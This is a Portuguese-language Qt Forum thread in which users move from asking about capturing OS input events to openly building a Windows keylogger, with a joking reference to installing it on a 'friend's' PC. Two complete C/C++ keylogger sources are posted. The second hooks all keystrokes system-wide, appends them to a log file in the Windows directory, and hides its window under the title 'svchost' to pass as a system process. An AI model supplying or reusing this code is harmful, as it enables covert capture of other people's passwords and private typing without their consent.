Eventos do Sistema Operacional



  • Existe alguma classe do Qt voltada para capturar eventos do SO?

    por exemplo:

    Saber qual tecla do teclado foi pressionada;
    Obter a coordenada do cursor do mouse;

    Sei que existe a possibilidade de fazer essas duas operações a partir da API windows.h, mas como fazer isso usando somente o Qt?

    desde ja agradeço as possiveis respostas...



  • Rodrigocg,

    Que eu saiba, não existe classe com esse propósito, porém você tem a opção de reimplementar a função event (QEvent*) em sua classe para manusear os eventos do windows (e de qualquer outro sistema operacional!).

    Veja em http://qt-project.org/doc/qt-4.8/qobject.html#event

    Abraço.



  • A ideia era fazer um keylogger, mas nao teve jeito, terei que usar a biblioteca windows.h...

    Utilizei um hook para capiturar as teclas digitadas... ta funcionando direitinho em qualquer codificação...

    Quando terminar a parte que grava o buffer com as teclas pressionadas que eu criei eu vou postar aqui...



  • Olha, legal. eu fiz um keylogger bem básico no Qt, só pegava as teclas msm. Mas é melhor fazendo em C/C++ puro. Por que no caso do Qt, se quiser usar o executável gerado tem que ter uma referencia para todas as DLL`s. :/
    (isso no caso de instalar o Key no pc do "amigo") 8)



  • Poderia postar o codigo desse keylogger?



  • Eu Fiz um da seguinte maneira usando a api do windows:

    @#include <QCoreApplication>
    #include <QDebug>
    #include <windows.h>

    HHOOK KeyHook= NULL;

    void UpdateKeyState(BYTE *keystate, int keycode)
    {
    keystate[keycode] = GetKeyState(keycode);
    }

    LRESULT CALLBACK procteclado(int code, WPARAM wparam, LPARAM lparam)
    {
    KBDLLHOOKSTRUCT p = (KBDLLHOOKSTRUCT)lparam;

    if((code == HC_ACTION) && (wparam == WM_KEYDOWN))
    {
            wchar_t buffer[5];
    
            BYTE keyboard_state[256];
            GetKeyboardState(keyboard_state);
            UpdateKeyState(keyboard_state, VK_SHIFT);
            UpdateKeyState(keyboard_state, VK_CAPITAL);
            UpdateKeyState(keyboard_state, VK_CONTROL);
            UpdateKeyState(keyboard_state, VK_MENU);
    
            HKL keyboard_layout = GetKeyboardLayout(0);
    
            char lpszName[0x100] = {0};
    
            DWORD dwMsg = 1;
            dwMsg += p->scanCode << 16;
            dwMsg += p->flags << 24;
    
            int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
    
            int result = ToUnicodeEx(p->vkCode, p->scanCode, keyboard_state, buffer,4,0, keyboard_layout);
            buffer[4] = L'\0';
    
            qDebug()<<QString::fromUtf16((ushort*)buffer);
    }
    return CallNextHookEx(0,code,wparam,lparam);
    

    }
    int main(int argc, char *argv[])
    {
    QCoreApplication a(argc, argv);

    KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, procteclado, NULL, 0);
    if(KeyHook == NULL)
    {
        qDebug() << "Hook failed";
    }
    
    return a.exec&#40;&#41;;
    

    }@

    e seguida eu fiz uma classe usando esse codigo e funcionou perfeitamente junto com o Qt



  • Existe algo semelhante para linux?



  • Key logger C/C++ para win usando apenas api win32 "fonte aqui":http://www.cplusplus.com/forum/lounge/27569/. O problema de usar Qt para isso é que: ou tem uma licença comercial do Qt para linkar estaticamente; ou vai precisar distribuir no minímo as dlls QtGui e QtCore com o key logger.

    @
    #include <fstream>
    #include <iostream>
    #include <string>
    #include <windows.h>

    #define DEBUG 1

    #define OUTFILE_NAME "Logs\WinKey.log" /* Output file */
    #define CLASSNAME "winkey"
    #define WINDOWTITLE "svchost"

    char windir[MAX_PATH + 1];
    HHOOK kbdhook; /* Keyboard hook handle /
    bool running; /
    Used in main loop */

    /**

    • \brief Called by Windows automagically every time a key is pressed (regardless
    • of who has focus)
      */
      __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
      {
      if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
      static bool capslock = false;
      static bool shift = false;
      char tmp[0xFF] = {0};
      std::string str;
      DWORD msg = 1;
      KBDLLHOOKSTRUCT st_hook = ((KBDLLHOOKSTRUCT)lp);
      bool printable;

    /*

    • Get key name as string
      */
      msg += (st_hook.scanCode << 16);
      msg += (st_hook.flags << 24);
      GetKeyNameText(msg, tmp, 0xFF);
      str = std::string(tmp);

    printable = (str.length() <= 1) ? true : false;

    /*

    • Non-printable characters only:
    • Some of these (namely; newline, space and tab) will be
    • made into printable characters.
    • Others are encapsulated in brackets ('[' and ']').
      /
      if (!printable) {
      /
    • Keynames that change state are handled here.
      */
      if (str == "CAPSLOCK")
      capslock = !capslock;
      else if (str == "SHIFT")
      shift = true;

    /*
    * Keynames that may become printable characters are
    * handled here.
    */
    if (str == "ENTER") {
    str = "\n";
    printable = true;
    } else if (str == "SPACE") {
    str = " ";
    printable = true;
    } else if (str == "TAB") {
    str = "\t";
    printable = true;
    } else {
    str = ("[" + str + "]");
    }
    }

    /*

    • Printable characters only:
    • If shift is on and capslock is off or shift is off and
    • capslock is on, make the character uppercase.
    • If both are off or both are on, the character is lowercase
      /
      if (printable) {
      if (shift == capslock) { /
      Lowercase /
      for (size_t i = 0; i < str.length(); ++i)
      str[i] = tolower(str[i]);
      } else { /
      Uppercase */
      for (size_t i = 0; i < str.length(); ++i) {
      if (str[i] >= 'A' && str[i] <= 'Z') {
      str[i] = toupper(str[i]);
      }
      }
      }

    shift = false;
    }

    #ifdef DEBUG
    std::cout << str;
    #endif
    std::string path = std::string(windir) + "\" + OUTFILE_NAME;
    std::ofstream outfile(path.c_str(), std::ios_base::app);
    outfile << str;
    outfile.close();
    }

    return CallNextHookEx(kbdhook, code, wp, lp);
    }

    /**

    • \brief Called by DispatchMessage() to handle messages
    • \param hwnd Window handle
    • \param msg Message to handle
    • \param wp
    • \param lp
    • \return 0 on success
      /
      LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
      {
      switch (msg) {
      case WM_CLOSE: case WM_DESTROY:
      running = false;
      break;
      default:
      /
      Call default message handler */
      return DefWindowProc(hwnd, msg, wp, lp);
      }

    return 0;
    }

    int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
    LPSTR cmdline, int ncmdshow)
    {
    /*

    • Set up window
      /
      HWND hwnd;
      HWND fgwindow = GetForegroundWindow(); /
      Current foreground window */
      MSG msg;
      WNDCLASSEX windowclass;
      HINSTANCE modulehandle;

    windowclass.hInstance = thisinstance;
    windowclass.lpszClassName = CLASSNAME;
    windowclass.lpfnWndProc = windowprocedure;
    windowclass.style = CS_DBLCLKS;
    windowclass.cbSize = sizeof(WNDCLASSEX);
    windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
    windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
    windowclass.lpszMenuName = NULL;
    windowclass.cbClsExtra = 0;
    windowclass.cbWndExtra = 0;
    windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

    if (!(RegisterClassEx(&windowclass)))
    return 1;

    hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
    CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
    thisinstance, NULL);
    if (!(hwnd))
    return 1;

    /*

    • Make the window invisible
      /
      #ifdef DEBUG
      /
    • Debug mode: Make the window visible
      /
      ShowWindow(hwnd, SW_SHOW);
      #else
      ShowWindow(hwnd, SW_HIDE);
      #endif
      UpdateWindow(hwnd);
      SetForegroundWindow(fgwindow); /
      Give focus to the previous fg window */

    /*

    • Hook keyboard input so we get it too
      */
      modulehandle = GetModuleHandle(NULL);
      kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

    running = true;

    GetWindowsDirectory((LPSTR)windir, MAX_PATH);

    /*

    • Main loop
      /
      while (running) {
      /
    • Get messages, dispatch to window procedure
      /
      if (!GetMessage(&msg, NULL, 0, 0))
      running = false; /
      • This is not a "return" or
      • "break" so the rest of the loop is
      • done. This way, we never miss keys
      • when destroyed but we still exit.
        */
        TranslateMessage(&msg);
        DispatchMessage(&msg);
        }

    return 0;
    }@



  • Obrigado pela resposta, mas já fiz o que eu queria... usei a biblioteca windows.h e um hook / teclado...



  • Vc ja verificou se o KDE não tem algo do tipo, andei lendo sobre o KDE Framework nos ultimos dias e vi que ele trás muitos recursos que não estão disponiveis no Qt.
    Ele tem libs de acesso hardware, onde talvez possa existir algo do tipo.


Log in to reply
 

Looks like your connection to Qt Forum was lost, please wait while we try to reconnect.